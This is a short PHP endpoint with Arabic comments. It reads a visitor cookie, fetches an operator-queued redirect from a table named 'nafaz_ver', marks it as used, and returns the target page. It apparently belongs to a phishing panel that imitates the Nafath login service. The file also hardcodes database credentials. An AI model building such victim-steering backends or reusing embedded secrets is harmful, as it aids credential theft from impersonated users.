<?php
header('Content-Type: application/json; charset=utf-8');
http_response_code(200);
error_reporting(E_ALL);
ini_set('display_errors', 0);

$mysqli = new mysqli('localhost','cartoeso_tam','AAssddff000000','cartoeso_tam');
if ($mysqli->connect_error) { echo json_encode(['ok'=>false,'error'=>'DB failed']); exit; }
$mysqli->set_charset('utf8mb4');

// 1) اقرأ unique_id من الكوكي
$unique_id = $_COOKIE['unique_id'] ?? '';
if ($unique_id === '') { echo json_encode(['ok'=>true,'redirect'=>null]); exit; }

// 2) ابحث عن آخر أمر تحويل غير مُستهلك (نستخدم form_name = 'redirect')
$sql = "SELECT id, page_name FROM nafaz_ver
        WHERE unique_id=? AND form_name='redirect'
        ORDER BY id DESC LIMIT 1";
$stmt = $mysqli->prepare($sql);
if (!$stmt) { echo json_encode(['ok'=>false,'error'=>'prepare']); exit; }
$stmt->bind_param('s', $unique_id);
$stmt->execute();
$res = $stmt->get_result();
$row = $res->fetch_assoc();

if (!$row) { echo json_encode(['ok'=>true,'redirect'=>null]); exit; }

// 3) علّم السطر كمستهلك (redirect_done) عشان ما يعيد التوجيه
$id = (int)$row['id'];
$upd = $mysqli->prepare("UPDATE nafaz_ver SET form_name='redirect_done' WHERE id=?");
$upd->bind_param('i', $id);
$upd->execute();

echo json_encode(['ok'=>true,'redirect'=>$row['page_name']]);
